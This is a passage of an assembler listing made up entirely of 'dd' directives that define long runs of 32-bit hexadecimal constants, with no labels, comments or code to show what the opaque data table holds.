5DAF7443h, 21292F5h, 409D4EFDh dd 0FA979A8Ch, 0FA1DAC35h, 3F103973h, 0FA56E528h, 0D562551Bh dd 53E48F2Eh, 83CEEF77h, 6AF0E37Eh, 74964A2Dh, 0A16EE3F4h dd 8C604848h, 640C0019h, 0B3FD681Ch, 7E9B7D67h, 997F70D5h dd 33BFB710h, 7338E0D5h, 43C5959Dh, 6702FDD8h, 99AED4Dh dd 97E91E12h, 75C3198h, 0AA1F7F05h, 52198Bh, 8DDEDAFDh dd 0E49307D8h, 0B776D9E2h, 75D9B642h, 266498E7h, 48884993h dd 0D938278Fh, 0A789E576h, 0D944DF42h, 6623BC7Fh, 0CEFCA640h dd 0C6A37492h, 722D0447h, 658E70FDh, 1CE4595h, 933D5B67h dd 4EB6B23Ch, 0F61FBA44h, 81CDC408h, 2F11445Dh, 8CD4C39Ch dd 94E9D9D6h, 3F3AFBC1h, 0F5B45E94h, 321DC7CFh, 0C15C579Dh dd 95B9A9BAh, 7220A421h, 126D7E30h, 0C4F75E9Fh, 0B829F135h dd 8A36ABCBh, 0C1ACBABCh, 20506448h, 0D8260F9Bh, 23C8A98Fh dd 0CE70E53Bh, 6BD04D7Eh, 3C0D69F6h, 0D1AC8E96h, 782781CCh dd 0CB01B82Fh, 184C1233h, 4E90BCF3h, 0A9FF71BDh, 45D2DDFAh dd 82E71418h, 120A8506h, 0D3971425h, 9B098B8Ch, 5AAD06D3h dd 0CABDB4D6h, 0DEE4176Dh, 889F536h, 25AA790Bh, 62ECC3C2h dd 371BEBEBh, 2CEB222Ah, 0A5E1C016h, 0F3D5993Ah, 968272E7h dd 0F177640Ah, 9F34B72Ch, 199C3979h, 13FABD69h, 4EF829F5h dd 6C7C9B60h, 0AA944A95h, 7190C557h, 0BB6766C7h, 69806A59h dd 0C382803Ch, 871D3FF1h, 7B979F5Bh, 73B44395h, 3CF6EBAh dd 4013716h, 7D1F6BAAh, 5FB25910h, 0F9F3A5A8h, 1CD28854h dd 4C76D061h, 66CA4F0Eh, 0BFD06F2Bh, 883BBC6Ch, 0FF73141Ch dd 8E1DDA12h, 0E2E6E100h, 16C69C6Bh, 0F596A96Bh, 4E85A147h dd 0C13C98ECh, 7398D733h, 0D4EA11E8h, 0BAFE5F4Ah, 4912EA0Dh dd 44454A3Eh, 4D88BDAFh, 5B3E3C33h, 0C8E14C77h, 595FCD7Dh dd 6BE51168h, 16A665B5h, 9B3E42B3h, 3678CC4h, 0D5181B90h dd 71D34F1Fh, 3B1A3996h, 0C1BFC93Dh, 0D3AA92D7h, 400A1D42h dd 0D2E89D9Fh, 6E1BEB20h, 2D1CB5E0h, 32243BC8h, 81F819AFh dd 3205E863h, 5CFDCB02h, 0AFF6A0B0h, 27542096h, 7FB9213Ch dd 698748F3h, 87135272h, 13D36A5Eh, 0E24BFE66h, 132928B9h dd 51A475B1h, 0DB58A32Ch, 16049828h, 0FC39B228h, 566F12C3h dd 5A73A39h, 0B16B103Fh, 7C551861h, 93FE63C7h, 78AC1490h dd 3BA45AFh, 0BBAE7CF9h, 0FEA0CE93h, 53A3E903h, 0E528BE22h dd 8D6AD080h, 3EB456B0h, 41FC1E73h, 0C2541BE3h, 83C83E3Eh dd 0BDDA8B8Eh, 9FE17189h, 7FD37A5Eh, 300CCE39h, 985FD22Ch dd 4EEA2A81h, 23821B77h, 7E7C11C4h, 1B879EB6h, 0C0F6D8F5h dd 59D6F3F5h, 9107A404h, 0E77A2CB9h, 7F75DF8Ch, 31DD3F26h dd 0D99476D9h, 365C4B08h, 0C8272779h, 0BA8A5E2Eh, 24E3BBFCh dd 45D841CEh, 945662FBh, 0DF089EFBh, 0C7D05371h, 278F886Dh dd 0B73B8110h, 0C2C68ADEh, 25D9E46Ch, 275DDD3Bh, 6C8B8CE1h dd 3AFDF1D5h, 47A95FBBh, 65FE0871h, 19111654h, 0C47A0992h dd 0AC12AFE8h, 44EADB62h, 31EE8805h, 0DB061A01h, 0ACB17BF7h dd 0BD15A76Eh, 3371A5Dh, 0A3FE421Ch, 0B899BCFEh, 0B5B4D342h dd 0BF11D8BCh, 62B47285h, 7C80BED2h, 0DE9F7711h, 90AB5979h dd 0E08B0BBBh, 5A8D013Ah, 9DD60439h, 0F1FA3DC7h, 0BFD5AD41h dd 0B701BCA7h, 0D32069DDh, 0F976B324h, 990FCB88h, 1B101A2Fh dd 0E10977Fh, 9639B524h, 0E48A81A3h, 6F45C23Bh, 0CE2F54DCh dd 2F416159h, 6217FB66h, 85FAA535h, 0A1CE592Dh, 5D50814Eh dd 21FA4A90h, 385DB9FEh, 602E84B7h, 0EF3A45FAh, 58D63476h dd 0C05219ACh, 0B4D22EECh, 4C4D2788h, 81B4A8B1h, 74925172h dd 602BF96h, 1A53B1E1h, 3CD2A5EAh, 63DFDF0Dh, 0D38B46E1h dd 470F2160h, 0CA2EA18h, 0D6B6053Ch, 4460D42Eh, 0CC958161h dd 529CA549h, 805F50ACh, 85DAA4C4h, 71941829h, 3821B4BDh dd 0ADC9792Ah, 5806CDEEh, 98BD39BDh, 3043CB38h, 5D1813A0h dd 4019B3D5h, 7F6E446h, 5B14ED6Bh, 5C9A7C38h, 2761A49Eh dd 9D3DF7D6h, 7F7DA2C6h, 7344096Ah, 98E0960Ch, 4D54695Ch dd 34562E1h, 0BC7F5823h, 9D2BFB9Dh, 1F885AB7h, 0ABCD516Dh dd 29D71A31h, 342AE0AAh, 0D4C6371Ah, 0AE13E60h, 9E1208F8h dd 333EEBFDh, 7AB8FD1Dh, 0CCCB94Bh, 33C1164Dh, 39C237AAh dd 9EE23DF9h, 29C0E9EBh, 0BC313173h, 0BB1C9BC0h, 289D9A6h dd 7349886Fh, 98E1D856h, 0C830E8D7h, 6813C10Fh, 97D94901h dd 0A14F7DCCh, 0CD8E70A9h, 0A52182E6h, 0DC241C2Ah, 573290FDh dd 55CB48FCh, 1BAF8C9Ah, 8D1707E6h, 5FAAE23Ch, 5E236BC9h dd 968E43BBh, 595DF5BEh, 7083B8ECh, 17E5071Ah, 1B4A2F9Bh dd 63465EA0h, 0C8E30B69h, 1C27B81h, 67605C6h, 0FD687C52h dd 0D7A75BF0h, 369126E3h, 0F5652F99h, 0D75384CDh, 5ACDD42Ah dd 273C0ACBh, 0B7B2C50h, 1F84CC8h, 8C70E829h, 0A080F4B7h dd 69A1E0DEh, 0C658C54Ch, 4BE7343Eh, 3FFEC992h, 0D11EF33Bh dd 6AF43CECh, 0EFB95FDBh, 4409E7A7h, 21CF08AEh, 10CA0363h dd 84979E39h, 9D2CD90Eh, 7CB44ACBh, 56129238h, 78BA8B2Eh dd 0C38ADA15h, 22142765h, 0F5EE0BEh, 3433EBDAh, 68C5B074h dd 0B564ACF3h, 11F0528Ah, 57D38C3Fh, 0DF6DC84Ah, 12736CBDh dd 0ADB47DAh, 0A4ABE506h, 9C6B3105h, 3C0509FCh, 97BF40DCh dd 12B5721Bh, 0C1D40213h dd 0CB86F5C4h, 5CC5E81Ch, 0BEB85726h, 0B801D0BCh, 749C0129h dd 4A6EBFF1h, 1D5F722Eh, 7E3C7324h, 21B6D5EBh, 0E43F03E1h dd 0CB3C2BAh, 0A348DFEBh, 0CAB2FA33h, 0C5D86F3Bh, 74505508h dd 0A02E1918h, 1B6AAEA3h, 246E7B61h, 0A97A188Dh, 7AE344AAh dd 64B93D8Fh, 975E1509h, 41848B4Ch, 90784126h, 0EEED50D3h dd 0C089D32Dh, 0D1B45357h, 403302F4h, 0FCD9F740h, 0C4481AE7h dd 0ED645A1Ah, 0EFCD009Bh, 52550FE9h, 18AD28AFh, 9FDB7C5Fh dd 0C654EF6h, 0AD9CA009h, 94BB392Bh, 4EAE9CF6h, 0C79EE880h dd 4CBF7242h, 9F99745Ah, 0CB56031Eh, 0FD2F76B2h, 0C4018932h dd 0F5D4B02h, 0B75C0239h, 0DEB73723h, 29D21F5Eh, 5570F9DBh dd 0FEF776F2h, 0C050FC09h, 0D151537Ah, 0C69560FEh, 550CA89h dd 764D9DBh, 0B8941FFBh, 8E6F7D99h, 0ACCE6480h, 0B962FDD0h dd 368A95AAh, 3E313E99h, 25761139h, 2120D36Ch, 2D1D26A7h dd 0C4B17994h, 0D589C9E1h, 49810AC9h, 985B8285h, 0A4844F23h dd 63C57C84h, 2BA4AD9Eh, 2EA72CFDh, 47352A75h, 9326410h dd 489EACA1h, 9FAC8250h, 0ED0A7CBDh, 1792FA90h, 6C20C6D0h dd 9205763h, 5D886CB8h, 3CA6EAB6h, 8AB556FDh, 0A51DFE02h dd 1B2D84E6h, 433136E9h, 8DFDF02Bh, 0D7CACDA3h, 0F2994DE2h dd 7FEF3416h, 0A9C54FF6h, 4A58D701h, 0B07AAB2Fh, 98F1BE11h dd 3ED346D4h, 3EE6650Ah, 7CC2190Ah, 1415D556h, 0AB8335AAh dd 6B67BB53h, 5659F252h, 0E6678FA8h, 0E960FD81h, 0B89FA10Eh dd 0B4CBE87Eh, 23D43073h, 4792A50Dh, 0F1B93007h, 0D2E8D9CEh dd 0AB77DD1Eh, 399B6705h, 0CC3CE67Bh, 0CC7995Ah, 0C3FC063Ch dd 0FE0BCCBCh, 0BD8E64A7h, 0F92FA10Ah, 3B1C9304h, 2F891DD5h dd 0A6A02988h, 0C7D3BBE8h, 0B3CBAE91h, 5C1AEC3Ah, 7D629740h dd 41277E00h, 9A825615h, 46B74B29h, 0D39D00D8h, 5409DA33h dd 78B63711h, 40957A09h, 0D2211B68h, 0C3A0EF3Dh, 4275B0C6h dd 936FD3BFh, 1226D6Ch, 72AFD0C0h, 2D98EB7Ch, 885558D2h dd 7D884AA7h, 40CCE480h, 9E90C915h, 0A670F4A0h, 0E24E9373h dd 2088F85h, 1922645Bh, 0B67135FAh, 0F479FF7Ah, 3E2AA817h dd 4DAFB646h, 0BF30AE61h, 90D60AF1h, 0E0FF6B4Dh, 0C14E8D25h dd 45ECB71Fh, 23DCF8C9h, 71D984FBh, 987A596Dh, 0B9C0CF91h dd 0D425DEFBh, 25D60A11h, 0D4A179Ah, 0FBD55FF2h, 0EB90A207h dd 0F6AB31BDh, 0F4513F12h, 0F4FD6D99h, 9CB51A4Ah, 0EDEF77E4h dd 33613397h, 0BC8DEDEBh, 0D211479Fh, 0DF3E1136h, 764D1AADh dd 798BD9B5h, 0E055F25Dh, 8E50868Fh, 1CDF1652h, 0EE87446h dd 0C9AE507Eh, 0BDAA95Fh, 0ED7A2370h, 0BFDF9D6Ch, 0A855E83Fh dd 90E4D6Eh, 8D9A9BBBh, 6B80C72Bh, 0D25CCB53h, 0EFCA80B8h dd 6B340736h, 59E6D292h, 53BD9CD8h, 2C0234C6h, 5892B8FFh dd 3AB6ACA9h, 0A57EC8C3h, 0F0177A26h, 0A56FAFB7h, 3BC9E2C6h dd 9515C384h, 0AC429B7Fh, 206E5BB3h, 27283EDh, 4EC05FF1h dd 0A4C264F3h, 0E5EA0D66h, 0DA732ED2h, 182C60BDh, 33FBE70Dh dd 0F2BB15CCh, 0A997696Eh, 0A4BABEF4h, 69CF3F67h, 0D7AF358Dh dd 0D77D6336h, 8403F097h, 25C83444h, 6CD9060Dh, 0C7D9D62Ch dd 14D365ABh, 0E917B4B1h, 4979146Bh, 333506B4h, 3D2473FBh dd 4A644EE0h, 0D2C2691h, 3C0D3701h, 8905184Ah, 85D7D048h dd 60E305EBh, 4B967541h, 0F7CAF4C5h, 7FB83E1Ah, 49B6F39Eh dd 0B9420123h, 0A8F49F9Ah, 30C9E188h, 0B9F6B58Fh, 191266AEh dd 0E2F046E4h, 0F3E2EE9h, 0E89B11B6h, 8994ADC4h, 7EADA6AFh dd 10414B5Dh, 0A1635C82h, 0B603EDF3h, 7AA4D503h, 0F3B9C29Eh dd 81FF29AFh, 3AEB2F9Eh, 0BE8B9017h, 0F8CAF7D6h, 0B0405664h dd 0C050CE32h, 86DFB1A0h, 6F974C8Dh, 0A9E6AEA5h, 3D93D71Bh dd 59848249h, 268EAB98h, 0BBB342E4h, 0C2249125h, 3E5F03DFh dd 0E38674FCh, 2FA37A96h, 0A420FAE7h, 48296E0Ah, 7D5C5C4Ah dd 0AFAB66BCh, 0D45FC930h, 1045ABA7h, 0FF3F0762h, 7635051Ah dd 0B87842Dh, 0B0533EE1h, 3DC83090h, 5C1FC139h, 0CE586556h dd 85953B86h, 0C7CB5A7h, 6E672949h, 2634E872h, 0CEAB3DE2h dd 0C897E1F0h, 46709E02h, 0DE17E7E0h, 0BC3D2619h, 15A8FD60h dd 9303525Bh, 39D1EC53h, 0F1DB8FEBh, 0EBAFEB2Ch, 609A1D5Ah dd 0CA7A0Fh, 5DF3636Ah, 0DF28FA6Fh, 1A83485h, 0A4542F8Fh dd 2DB845B1h, 0F5C697C6h, 0E7302968h, 39E3DD58h, 0BB2AAD9h dd 7B720AE8h, 8BBF4D89h, 7E9921C3h, 97C9D979h, 0AE72D67Bh dd 8E4401Fh, 0D48EA30Fh, 0F060BB9Eh, 0AA2B6A3Bh, 26E0FBBAh dd 1605C62Dh, 572D51EFh, 9A83E5C2h, 325FE379h, 0F99E739h dd 76A4657h, 3EE6696Fh, 0BD9F7C7Eh, 4F0121A5h, 7429872Fh dd 0F3E1BA7Eh, 0F3255A01h, 2B8BC2DEh, 97CDD77Ch, 0FEE081A9h dd 58EF8747h, 34DB5DC1h, 207B4F83h, 0CBB535B9h, 0F6B94FC8h dd 91666A61h, 6C016280h, 0CD341C8Dh, 0E9B87BDBh, 0CB5F902Fh dd 0B283604Ah, 0AF490288h, 0F403222Fh, 871C879Ah, 343F75A9h dd 62EA9782h, 2C9909Ah, 1E21C2A7h, 55AF0590h, 0A8673A09h dd 7C723D5Fh, 13712592h, 73915498h, 452DB49Bh, 84D40305h dd 88EB0367h, 357B79D2h, 7CAB5354h, 37352C51h, 454F7203h dd 80AB9213h, 1680Eh, 0B5FFFD8Eh, 2BB7D7F8h, 43B6BAE5h dd 8F194B43h, 0D878B23Bh, 4567E71Dh, 0E42BDF25h, 0B60273D8h dd 69ED708Dh, 40628BFFh, 0DDF450FDh, 56CFCDDh, 0EB20243Ah dd 1C8DB98Ch, 0FB759DE6h, 54DF885Eh, 0C01A903Bh, 2B770B9Eh dd 5CFD5BEEh, 35FB837Bh, 0FB15B82Dh, 0E7FFF238h, 0EC26471Dh dd 569B27A0h, 0CA800E84h, 2164C1BCh, 0A28D4E79h, 1DBB2BA4h dd 0E94C98E7h, 1273D135h, 51CB9F49h, 207D259Eh, 0A1A5AD06h dd 7ACCA2B9h, 0F83D1921h, 0E09845DCh, 64184FBDh, 67397CFDh dd 0A4DA8919h, 97613E85h, 3C765687h, 0F36AD104h, 0B0B12638h dd 1B9C40DAh, 4B1FDEC9h, 0DC439FCCh, 72369EF4h, 0B40FEBE9h dd 0CFA76DA4h, 535A6087h, 0A91102Bh, 0F52770DCh, 7C9DFFE9h dd 0A8B1F76Fh, 0C16BB74h, 0DC6164A5h, 0EEDBF87Ch, 781B1B2Dh dd 0C34D5A6Eh, 8C33B148h, 0E9B20AB6h, 113CEBD0h, 4169564Ch dd 419EED44h, 75D28A0Ch, 77C0A26Fh, 1C34A9D6h, 151B99FEh dd 60F29660h, 4B2D1A60h, 68B696D7h, 9296EB19h, 0EC67CBF6h dd 0F9213AA6h, 35285C01h, 1B94B550h, 0FB53BB77h, 9FE709FCh dd 0F4723248h, 1EB8B64Ah, 0D77FA037h, 0BFEB8F81h, 0F617DDAh dd 3C4E203Ch, 0A4171127h, 4F8D6DE7h, 80D2520Ah, 1F6DAF59h dd 6A02D93Ah, 540258DFh, 8570B672h, 544B5DCDh, 0B7A7A768h dd 91F0BBEEh, 0A61A8145h, 5FF6B340h, 0DC37ABC6h, 9B8F64B5h dd 6F1DC97Ah, 6F6E5A96h, 0D63975BCh, 7623726h, 0F8F0FF1Ch dd 7069A8C7h, 0E0701C61h, 7326512Bh, 7C777612h, 0C15BA0EBh dd 7DE54628h, 40151B1Ah, 516F81E0h, 28EE8FABh, 2D056E69h dd 8F61B5D8h, 76C5EF05h, 0D0EACAC5h, 0EE30BCBFh, 7FD67C7h dd 4141D8A3h, 715BE75Dh, 0FFE1345Dh, 60C50048h, 534F858Fh dd 5C199722h, 7BF23547h, 4B53757h, 47B768BCh, 0CC7E76ABh dd 0C2080150h, 52674D80h, 0EE8DC565h, 6589045h, 2FDEC007h dd 0B021E6A7h, 0B7825182h, 74FA4501h, 0E5A7E8FDh, 984807C0h dd 0EE56210h, 2312A5ABh, 0C8E61AAFh, 70ABE527h, 0ED48F848h dd 0F153E464h, 0C78F2A91h, 818447D0h, 76809A24h, 73D2890Dh dd 63102564h, 0DFAAE3B2h dd 2C47F8FFh, 0CFF87268h, 0B1CBA3FFh, 0CA05BB61h, 6D621E9Ah dd 730BDD3h, 0B8307D08h, 6BE66421h, 5F0A45CDh, 0A85DE3B8h dd 7509A35Ch, 0CA85528Eh, 0B9C06BAFh, 1389D9A0h, 5B64150Fh dd 5DBF3C3Bh, 98D09F54h, 0B5F8AA8Dh, 0CDD44EEAh, 15F40A3h dd 9406F0DCh, 61A66DFh, 6FAE0FCh, 0C4B10A48h, 6BD9E138h dd 0EC449D5Ah, 0C2E99869h, 0DCF8E4Bh, 0E9D7D3E0h, 5C48F75Bh dd 0E27183A1h, 1A2B1440h, 65343CE1h, 0B94CB050h, 5155CF24h dd 73BAA4DCh, 0E0523AA4h, 158A4D49h, 5A803E7Fh, 0A4B1F1B5h dd 0A8AC0793h, 1823C09h, 0A18E5F82h, 2E17CD04h, 77E7A3E9h dd 6AA4D3B5h, 60543F33h, 0C2D6A465h, 0D04A7B67h, 329C07E8h dd 0D1E607F9h, 22B1482Bh, 0F92A9446h, 0E6D231D4h, 57C18FDCh dd 7FBDAB5Bh, 0A125D32Ch, 9738F153h, 317BB788h, 641822F0h dd 9FA511E7h, 0B307FB81h, 59F13D85h, 0EF8BA6B7h, 0E913C04Ah dd 0E95255A4h, 207C97B0h, 9C52E486h, 0BD355FA8h, 0F592B0C2h dd 9F3685EDh, 5EEC9E63h, 6E6D029Ch, 0BB0F6957h, 97B2072Eh dd 0FD51145Fh, 156F44F7h, 69881FB5h, 0C3DEF3B9h, 818166ACh dd 65F7431Eh, 282DACCDh, 13991507h, 5914432Dh, 90915043h dd 0D824CB6Dh, 183BAB01h, 5F65B25Dh, 73D270E3h, 0E8B45316h dd 4994C780h, 47571FF7h, 7FDCD71Ah, 0E8FB3637h, 960B5E95h dd 0F2A67889h, 461A6C35h, 0F64AD22Eh, 9EDABD1Bh, 6CCDAD09h dd 0A1DB15ADh, 30A3CA5Dh, 79419F7Dh, 0AEF5F889h, 0A4A8712Dh dd 8A50154h, 0F3DC1121h, 0DB8C9F8Bh, 1BF526A1h, 5040E3A6h dd 83B35505h, 121A48A2h, 0E49791DBh, 0F2AC3DA0h, 5E87BF13h dd 0DF5368F6h, 0D4644A67h, 5744A201h, 5CA37F71h, 7A3EEF1Bh dd 2537C01Ah, 0B07040C5h, 0CE5B1B6Ah, 0F1ED269h, 7A9F34h dd 0EE83035Dh, 1A67F75Ah, 522E6077h, 18B55953h, 0E1A2DE97h dd 24EB2265h, 2EBD2149h, 0EFFF3BEDh, 0BDAB1E3Bh, 51FC3595h dd 7354E245h, 0A1992ABAh, 76C72C04h, 58DC5622h, 0D254EDDCh dd 0E840462Bh, 0F8AD1415h, 57DDA4EEh, 0DF9B7100h, 0C01237DEh dd 0C720AD1Eh, 0EEDED3E4h, 5DF0C7BDh, 63FBECEh, 1182113Bh dd 93E6DEAEh, 2A9FE0B8h, 86CA59ACh, 0F499E8F6h, 423F0E94h dd 0CF275549h, 8C0D2B67h, 0AB0F381Ch, 0F9D5F494h, 824EE36Ah dd 72A18963h, 342A40E4h, 66E30E0Dh, 90185B58h, 0B81A6156h dd 60233691h, 0BA3CF3C6h, 4BC7D1C2h, 9B40ED41h, 638BFCF1h dd 6512B10h, 0B1A179F8h, 0AB00246Ah, 0ABB21D27h, 67169BA8h dd 50F4CBC2h, 8EFBE68Ch, 56B48813h, 62810810h, 0DCF0EA7h dd 0C1DEF684h, 0D5DF947Fh, 0B2CD896Eh, 0A11F75EDh, 8E67C2A3h dd 0FBAC6324h, 0DD84EE54h, 55C5CDBEh, 622FF5CCh, 20BA3ACCh dd 267D2E3Dh, 0CDFF1BD7h, 3861FA3h, 0E076CBF8h, 0A0BA2913h dd 0D3E6363Ah, 50D6CE4Fh, 6A8CA0E1h, 0AF21D46Dh, 4F5AE38Ah dd 3409AB62h, 37A200F1h, 69BE618Bh, 20769578h, 0F03180EFh dd 4A692A00h, 0B423DF58h, 0C4A8EA48h, 0D180FB2Ah, 0E523E606h dd 51572339h, 87CF5E84h, 0B94BAD07h, 96CA82DDh, 8F62CD9Eh dd 1644EA3Bh, 6082DE77h, 993C6F7h, 1EEA20A0h, 0A01E29ABh dd 21525FC7h, 0F71AFE68h, 0B4916C4Ah, 2967060h, 2F624827h dd 3B85C51Bh, 9E2CD3Dh, 68426166h, 0B60635A0h, 9F06B580h dd 5B7687DBh, 0A8A1F3CCh, 0FACB0855h, 5F9ED12h, 796A02F0h dd 0CA7BFBCDh, 126B88B1h, 5A1A2DF7h, 89056686h, 0FE61FB26h dd 774F6DA0h, 0ED14896h, 0AAC6F9AFh, 49C412C9h, 30A5B041h dd 0F980A4B5h, 1A92C16Ch, 28C6334Dh, 6DAC2C22h, 0D1B2E772h dd 5E11BD79h, 4EA5EA5Ah, 0BD8FC6B0h, 0F97A8FFEh, 72384E1h dd 538B8DFDh, 0F8D2B433h, 0C0187DA4h, 8BF0BDC0h, 0E941B54Bh dd 8941ADE4h, 0AAFFA251h, 4528A522h, 9F0E16DCh, 2DC85329h dd 0F90BEBF6h, 0E2CF9D46h, 67D5C3C9h, 66C2ACE6h, 0F5543314h dd 5889944Eh, 332CBC50h, 0E375048h, 5D95B972h, 8B471AAFh dd 0A3A7F82Fh, 1897E959h, 0B9C24DDAh, 400D8B0Eh, 30318774h dd 87AD309Ch, 54FF5D33h, 0B95F86B3h, 46F8FDE0h, 6B0FED7Ah dd 3DCF5C8h, 460A7C27h, 62A6AAFCh, 0F5F1DB25h, 0B472E065h dd 6EE8A30Dh, 4DA41B97h, 88D57387h, 6CF2E59Ah, 5050B014h dd 0A6907781h, 57AECBE1h, 5454B483h, 1FC051F7h, 0D1F7B1Ch dd 76486B6Ch, 0D07ABA7Bh, 16B3FDE7h, 0BEECA64Ah, 66E70CAh dd 0B8A926F3h, 2ADAAF5Dh, 0E668C720h, 0BDC35ED0h, 16801166h dd 0D35CB7F7h, 0C9126CA6h, 8FDB6223h, 0FD9A8E65h, 0D24F1FF6h dd 749F04F0h, 0D5244131h, 5A3616E6h, 0DD72EEDDh, 6D80E7F1h dd 0A4410ADCh, 7442CAB5h, 0CBA095D5h, 43C080D9h, 85F46955h dd 544A52FAh, 56A15412h, 8BC09C8Fh, 0EB1F5B06h, 77759B51h dd 0BAB230D7h, 3599FF80h, 603A8FADh, 0EFA282F7h, 0ECDB1D0Fh dd 7468D27Dh, 0D9546FD4h, 0AD5AD41Ch, 5895663h, 97A6725Dh dd 80FEB0C9h, 9E55D7C4h, 702870B8h, 62F0507Bh, 7E697FCCh dd 0F573043Fh, 0FAA5213Ch, 0BE5106FBh, 5D67EE59h, 364B8DE0h dd 664BE6D3h, 22A04FECh, 8A505586h, 693D730Ch, 6046642Ch dd 0A9C5CDF1h, 9A74C442h, 4CC90FB6h, 7725E837h, 3451FFCDh dd 0F16DA3A4h, 4D067533h, 2211F796h, 905AEC86h, 46C528BFh dd 0D6B0472Ah, 6A286101h, 0DF807FBCh, 3476E908h, 86F17D10h dd 187FFE2Dh, 3F889B02h, 4A40FF9Ch, 0BF34C9D2h, 0C7246725h dd 0BEDEC8A0h, 0B5CD0BD1h, 0D4C04202h, 32C770C5h, 7D96F541h dd 3940B21Dh, 0DAA9BD4Eh, 0D2D3AA1Ah, 67BF0B61h, 51DD665Dh dd 63FA2727h, 6442628Ah, 0FA62EF89h, 4D950F4h, 0E0522C68h dd 4E1C097h, 5D6C7C08h, 0D0AA926Fh, 0D4231438h, 0F030090Ah dd 31538498h, 17D09637h, 23B44EFDh, 0F3198AB9h, 277609C5h dd 0B1A5704Eh, 0F1ED48DBh, 61F352A5h, 325B98E7h, 91C6E1B1h dd 0F968EFF8h, 605900C5h, 743E9BFCh, 53E3FF10h, 0C844F429h dd 0CD4F8A3h, 98F7737Fh, 1A44F36Dh, 36ECBCC4h, 79B4DA5Ah dd 0ABBCE03Ch, 0E67474Bh, 0EE0CD9F0h, 0E0A91CAEh, 0A1A7C691h dd 0F2D6FE06h, 65E61A10h, 0B39ABF89h, 0C50C6785h, 0E2041B30h dd 94EC035Fh, 0FA8C71D2h, 0CE155EF6h, 0FF1A1EE5h, 551DE39Dh dd 962B93C6h, 0FA07E5CAh, 8C9B812Dh, 2459032Bh, 0D4A1FF39h dd 676F6084h, 2AFF31D9h, 8961A737h, 99D1AAA0h, 902BCEEFh dd 66ACB140h, 6AA22DAAh, 8EC95D76h, 0D987DC23h, 8E1B1BE3h dd 937A6F91h, 80A08EF9h, 9CFE91Ch, 65C0F23Fh, 4CD1F1EEh dd 0BCFC463Ch, 304E840Ah, 1E334AEFh, 688AE2DDh, 3FFC2E59h dd 8A56EC9Fh, 0AC7A08C7h, 7134F25Ah, 182379EAh, 49A9EB6Dh dd 0C1380065h, 0AA7880ADh, 0C96BCE50h, 9DBFB0FCh, 0F5BF10B0h dd 0D4F2BBCAh, 6981AAF9h, 0C7140CAEh, 45192CEFh, 0DAB50782h dd 953EB513h, 491819A9h, 4AC6C841h, 0A1071C66h, 0D470E571h dd 677C7566h, 0A8E1726Dh, 52C61AFEh, 0E2EA587Eh, 0F715BE17h dd 47CC3AFFh, 0E5E03958h, 0E94FB046h, 4533088Bh, 81945420h dd 0D733093Fh, 8736F9ADh, 662BF356h, 1001D2CBh, 0E5E8ACB5h dd 6BA08E5Bh, 4128F1FCh, 82C8AF81h, 1FB2C566h, 84E20FC9h dd 420A7B47h, 0DF88E8B3h, 8B191DFEh, 0D073C258h, 845CB71Ch dd 80EE4F16h, 0D5A5B564h, 89830E9h, 2979C695h, 5C945089h dd 794859AEh, 0A3E1FE40h, 0AC165FCFh, 328BFE29h, 0CFCF1EB9h dd 0CC4E2CA3h, 3E6C301Ah dd 1EA87070h, 9CF15AEFh, 6A7B1111h, 3BE24608h, 0E4FDE6F2h dd 70EE243Eh, 0EFA35EC2h, 0F256C639h, 2F25F6Eh, 880EDFE8h dd 4C539DFh, 384A8878h, 2C1307E1h, 4DE11926h, 5FA1AA4Bh dd 11B62B5Eh, 8D4E15C6h, 5AB0F006h, 0CF19531Eh, 0AE48AE77h dd 0C39D7C88h, 9183C336h, 2DD8414Ch, 3C86751Eh, 0BC01F74Fh dd 3C647627h, 1C585EC8h, 0E2D51245h, 0E5C57FE4h, 0F9A8DF87h dd 0F27C06EBh, 21DEBBD4h, 987EFC53h, 0B0261616h, 0C2815DB0h dd 0DF591684h, 0B6DBE85Dh, 1F9F748Ah, 16E0F3EDh, 0AB66AF3Fh dd 8BD64BAAh, 4F48663Fh, 5C5156C6h, 0B1C2FA43h, 91C07991h dd 0A9091C82h, 0E15905FCh, 0BC3C898Fh, 1B7105AEh, 773DB0A5h dd 56CC9EB6h, 850E74D1h, 0AD256458h, 0E71B910Ch, 0D99F26BEh dd 0FA81C0F8h, 0E31B46B8h, 0E680D889h, 890E5566h, 0B224F05Fh dd 0F6F3D51Dh, 5902A9C2h, 0F2942E76h, 0DDBC3E66h, 277525D1h dd 0C31543F0h, 51DCF171h, 7A8D76DEh, 2AC5BDF4h, 0A86712F3h dd 0A274CDAAh, 45A4BF1Ch, 0D4BD3D1Dh, 0EE352757h, 391C4D91h dd 220CC296h, 86EF77D6h, 53703EF1h, 96986CAEh, 7CA2624Fh dd 0D34C03D8h, 702F9702h, 0DB557DF4h, 82330888h, 52C8D724h dd 2B42F399h, 12EFA14Eh, 0A949EE23h, 4A0A8657h, 19BC389Fh dd 0BAD1E40h, 0B9AD41E7h, 0F98B1086h, 2AF808A1h, 24E8E302h dd 6B268011h, 41085E30h, 42091368h, 45952017h, 6FF2AAC8h dd 7CF5C0A1h, 0CB53C03Ah, 0D9D7EEA1h, 3171F86Eh, 0CC225752h dd 9DCD97A8h, 91959401h, 0A7BDA85Ah, 68B94B0Eh, 0B1EE7AACh dd 6A66D4A3h, 50709F6Dh, 38E2F2A3h, 4B8C42F2h, 0B29D524Bh dd 0C0C8DEA3h, 534A32CAh, 32DB8470h, 0BB4894BDh, 8A299B2h dd 0D365904Ah, 17C71D4Bh, 0E31BF326h, 4AF40A2Bh, 97F3B967h dd 0E149FB0Fh, 0F37DB58Dh, 37327408h, 64C13754h, 0F0CC4FC4h dd 988F16EAh, 0F0CB2459h, 0A4D6B00Fh, 538639A7h, 0C337265Bh dd 40708411h, 0D5F2C0C7h, 0C8CEF317h, 7065926h, 9DA33800h dd 0B74C6BF0h, 7AC638D5h, 7D2BCF9Bh, 6415253Fh, 0C5435948h dd 8741BEFEh, 344AF20Ch, 12197ADBh, 0FC861785h, 1509A984h dd 0D47D3D98h, 9526E8C1h, 6D2CBF0h, 89C0A7E6h, 4DE4D00Fh dd 88AE8CA2h, 0A69B33EEh, 43C1FBB4h, 0C7B2E0C9h, 41239C81h dd 9A439521h, 0FFA67DBBh, 6F7C70ABh, 966A1C77h, 52DBC48Fh dd 3E02CE8Ah, 0D72EFBA4h, 5970AD1Dh, 5EA77ADFh, 4062962Fh dd 3A0ABA41h, 0AEC82C2h, 5B6CD292h, 8A78B04Ah, 2F34F804h dd 0FE3619E6h, 1845A512h, 76CAC180h, 422C801h, 70D48BF4h dd 723E04ECh, 826509D9h, 0FBCB3F3Bh, 